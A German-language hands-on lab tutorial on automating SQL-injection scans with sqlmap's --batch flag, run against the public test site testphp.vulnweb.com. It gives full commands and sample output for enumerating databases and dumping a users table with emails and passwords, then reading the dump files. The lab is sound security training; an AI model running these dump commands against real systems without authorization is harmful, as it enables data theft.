Scans mit dem Batch-Modus in sqlmap automatisieren

MySQLBeginner
Jetzt üben

Einleitung

In diesem Lab werden Sie die leistungsstarke --batch-Modus-Funktion von sqlmap erkunden, einem beliebten Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert. Während sqlmap standardmäßig hochgradig interaktiv ist und den Benutzer während eines Scans oft zur Entscheidungsfindung auffordert, ermöglicht der --batch-Modus das Ausführen von Scans im unbeaufsichtigten Modus, indem automatisch die Standardantwort auf alle Aufforderungen gewählt wird. Dies ist besonders nützlich für die Automatisierung von Scans in Skripten oder für groß angelegte Bewertungen, bei denen manuelle Eingriffe unpraktisch sind. Sie lernen den Unterschied zwischen interaktivem und nicht-interaktivem Scannen kennen, führen einen manuellen Scan durch und nutzen dann den --batch-Modus, um den Prozess zu automatisieren, einschließlich eines vollständigen Daten-Dumps.

Interaktives vs. Nicht-interaktives Scannen verstehen

In diesem Schritt werden Sie den grundlegenden Unterschied zwischen interaktivem und nicht-interaktivem Scannen mit sqlmap verstehen. Standardmäßig ist sqlmap interaktiv konzipiert, was bedeutet, dass es während eines Scans häufig pausiert, um den Benutzer nach Eingaben zu verschiedenen Entscheidungen zu fragen, z. B. ob mit einem bestimmten Test fortgefahren werden soll, eine bestimmte Payload verwendet werden soll oder eine Schwachstelle ausgenutzt werden soll. Diese Interaktivität bietet eine detaillierte Kontrolle, kann aber für automatisierte Aufgaben umständlich sein. Nicht-interaktives Scannen hingegen ermöglicht es sqlmap, Standardentscheidungen ohne Benutzereingriff zu treffen, was es für Skripte und groß angelegte Automatisierung geeignet macht.

Beginnen wir mit der Überprüfung der sqlmap-Version, um sicherzustellen, dass sie korrekt installiert ist.

sqlmap --version

Sie sollten eine Ausgabe ähnlich dieser sehen, die anzeigt, dass sqlmap bereit ist:

sqlmap version: 1.x.x.x (rXXXX)

Schauen wir uns nun kurz das Hilfemenü an, um das --batch-Flag zu finden.

sqlmap --help | grep batch

Sie werden eine Ausgabe ähnlich dieser sehen:

    --batch             Never ask for user input, use the default behavior.

Dies bestätigt die Existenz und den Zweck des --batch-Flags.

Scan ausführen und Eingabeaufforderungen manuell beantworten

In diesem Schritt führen Sie einen grundlegenden sqlmap-Scan gegen eine bekannte anfällige URL durch, ohne das --batch-Flag zu verwenden. Dies demonstriert die interaktive Natur von sqlmap und die verschiedenen Eingabeaufforderungen, die es während eines Scans anzeigt. Sie müssen diese Eingabeaufforderungen manuell beantworten, um mit dem Scan fortzufahren.

Für diese Demonstration verwenden wir eine öffentlich zugängliche anfällige URL. Bitte beachten Sie, dass Sie in einem realen Szenario Scans nur auf Systemen durchführen sollten, für die Sie eine ausdrückliche Genehmigung zum Testen haben.

Führen Sie den folgenden sqlmap-Befehl aus. Achten Sie genau auf die Fragen, die sqlmap stellt, und wie Sie antworten müssen.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

Während der Scan fortschreitet, wird sqlmap Ihnen wahrscheinlich mehrere Fragen stellen. Zum Beispiel:

  • do you want to keep testing the others (if any)? [y/N] - Sie können N (Nein) drücken und dann Enter.
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - Sie können Y (Ja) drücken und dann Enter.
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - Sie können Y (Ja) drücken und dann Enter.

Die genauen Eingabeaufforderungen können je nach sqlmap-Version und der Antwort des Ziels variieren. Wichtig ist zu beobachten, dass sqlmap Ihre Eingabe benötigt, um fortzufahren.

Nach Abschluss des Scans wird sqlmap alle erkannten Schwachstellen melden.

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Diese manuelle Interaktion unterstreicht, warum Automatisierung für die Effizienz entscheidend ist.

Das --batch-Flag für automatische Standardantworten verwenden

In diesem Schritt führen Sie den sqlmap-Scan erneut aus, diesmal jedoch mit dem --batch-Flag. Dieses Flag weist sqlmap an, automatisch die Standardantwort für jede angetroffene Eingabeaufforderung zu verwenden, wodurch der Scan effektiv nicht-interaktiv wird. Dies ist äußerst nützlich für die Skripterstellung und die Automatisierung von Schwachstellenbewertungen.

Führen Sie den folgenden Befehl aus und fügen Sie das --batch-Flag hinzu:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

Beobachten Sie die Ausgabe. Sie werden feststellen, dass sqlmap den Scan fortsetzt, ohne auf Benutzereingaben zu warten. Alle Fragen, die im vorherigen Schritt erschienen sind, werden nun automatisch mit ihren Standardwerten beantwortet (normalerweise 'yes' oder 'no', je nach Kontext).

Die Ausgabe wird kontinuierlich fließen, ähnlich wie hier:

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Dies demonstriert die Leistungsfähigkeit des --batch-Modus für unbeaufsichtigte Operationen.

Vollständigen Daten-Dump im Batch-Modus ausführen

In diesem Schritt kombinieren Sie das --batch-Flag mit anderen sqlmap-Optionen, um eine fortgeschrittenere Operation durchzuführen: das vollständige Auslesen aller Daten aus der Datenbank, und das alles automatisiert. Dies zeigt, wie der --batch-Modus komplexe Ausnutzungsaufgaben ohne manuelle Eingriffe ermöglicht.

Wir verwenden die Optionen --dbs (Datenbanken auflisten), --tables (Tabellen auflisten), --columns (Spalten auflisten) und --dump (Einträge auslesen), um Informationen zu extrahieren. Da wir --batch verwenden, wird sqlmap automatisch alle Eingabeaufforderungen bestätigen, die mit diesen Operationen zusammenhängen.

Versuchen wir zunächst, die Datenbanken im Batch-Modus aufzulisten:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

Sie sollten sehen, wie sqlmap die Datenbanken automatisch identifiziert, ohne um Bestätigung zu bitten. Die Ausgabe listet die gefundenen Datenbanken auf, zum Beispiel:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

Versuchen wir nun, alle Daten aus der Datenbank acuart auszulesen. Dies beinhaltet das Auflisten von Tabellen, dann Spalten und schließlich das Auslesen der Daten.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

Dieser Befehl weist sqlmap an:

  1. Die Datenbank acuart zu zielen (-D acuart).
  2. Alle Daten auszulesen (--dump).
  3. Dies im Batch-Modus zu tun (--batch), was bedeutet, dass es automatisch "ja" auf Eingabeaufforderungen wie "möchten Sie alle Tabellen auslesen?" oder "möchten Sie Hashes in einer Datei speichern?" antwortet.

Die Ausgabe zeigt, wie sqlmap Tabellen, dann Spalten auflistet und schließlich die Daten ausliest, und das alles ohne Eingabeaufforderungen. Dieser Prozess kann je nach Datenmenge einige Zeit dauern.

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

Dies demonstriert die vollständige Automatisierungsfähigkeit von sqlmap mit dem --batch-Modus für die Datenextraktion.

Ergebnisse des unbeaufsichtigten Scans überprüfen

In diesem letzten Schritt überprüfen Sie die Ergebnisse der unbeaufsichtigten Scans, die mit dem --batch-Modus durchgeführt wurden. sqlmap speichert seine Ergebnisse, einschließlich der ausgelesenen Daten, in einem bestimmten Ausgabeverzeichnis. Das Verständnis, wo diese Ergebnisse gespeichert werden, ist entscheidend für die Post-Exploitation-Analyse und die Berichterstellung.

Standardmäßig erstellt sqlmap ein Ausgabeverzeichnis unter ~/.sqlmap/output/ (oder /root/.sqlmap/output/, wenn als Root ausgeführt, aber in diesem Lab ist es ~/.sqlmap/output/). Innerhalb dieses Verzeichnisses befinden sich Unterverzeichnisse, die nach dem Zielhost benannt sind.

Navigieren Sie zunächst zum sqlmap-Ausgabeverzeichnis:

cd ~/.sqlmap/output/

Listen Sie nun den Inhalt dieses Verzeichnisses auf, um den Ordner des Zielhosts zu finden:

ls -F

Sie sollten ein Verzeichnis namens testphp.vulnweb.com/ oder ähnlich sehen.

testphp.vulnweb.com/

Navigieren Sie in das Verzeichnis des Ziels:

cd testphp.vulnweb.com/

Listen Sie den Inhalt erneut auf. Sie finden verschiedene Dateien und Verzeichnisse, die die Scan-Ergebnisse enthalten, einschließlich Protokolldateien, ausgelesene Daten und möglicherweise weitere Funde.

ls -F

Sie könnten Dateien wie log, session.sqlite und Verzeichnisse wie dump/ sehen.

dump/  log  session.sqlite  target.txt

Sehen wir uns nun das dump-Verzeichnis an, um die extrahierten Daten zu sehen:

ls -F dump/

Sie sollten ein Verzeichnis für die Datenbank acuart sehen, und darin Dateien, die den ausgelesenen Tabellen entsprechen (z. B. users.csv).

dump/acuart/

Schließlich können Sie den Inhalt einer ausgelesenen Datei anzeigen, zum Beispiel der Datei users.csv:

cat dump/acuart/users.csv

Dies zeigt die Daten an, die sqlmap aus der Tabelle users extrahiert hat, und bestätigt den Erfolg Ihres automatisierten Daten-Dumps.

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

Damit ist das Lab zur Automatisierung von sqlmap-Scans mit dem Batch-Modus abgeschlossen. Sie haben erfolgreich interaktive und nicht-interaktive Scans durchgeführt und Daten automatisiert extrahiert.

Zusammenfassung

In diesem Lab haben Sie praktische Erfahrungen mit dem --batch-Modus von sqlmap gesammelt, einer entscheidenden Funktion zur Automatisierung von SQL-Injection-Schwachstellenbewertungen. Sie begannen damit, den Unterschied zwischen interaktivem und nicht-interaktivem Scannen zu verstehen und beobachteten, wie sqlmap normalerweise nach Benutzereingaben fragt. Anschließend haben Sie erfolgreich Scans mit dem --batch-Flag ausgeführt und gezeigt, wie dieser den Prozess optimiert, indem er automatisch Standardantworten auf alle Eingabeaufforderungen liefert. Abschließend haben Sie einen automatisierten Daten-Dump durchgeführt und gelernt, wie Sie die von sqlmap in seinem Ausgabeverzeichnis gespeicherten Ergebnisse finden und überprüfen können. Dieses Wissen ist grundlegend für die Integration von sqlmap in automatisierte Sicherheitstest-Pipelines und für eine effiziente groß angelegte Schwachstellenanalyse.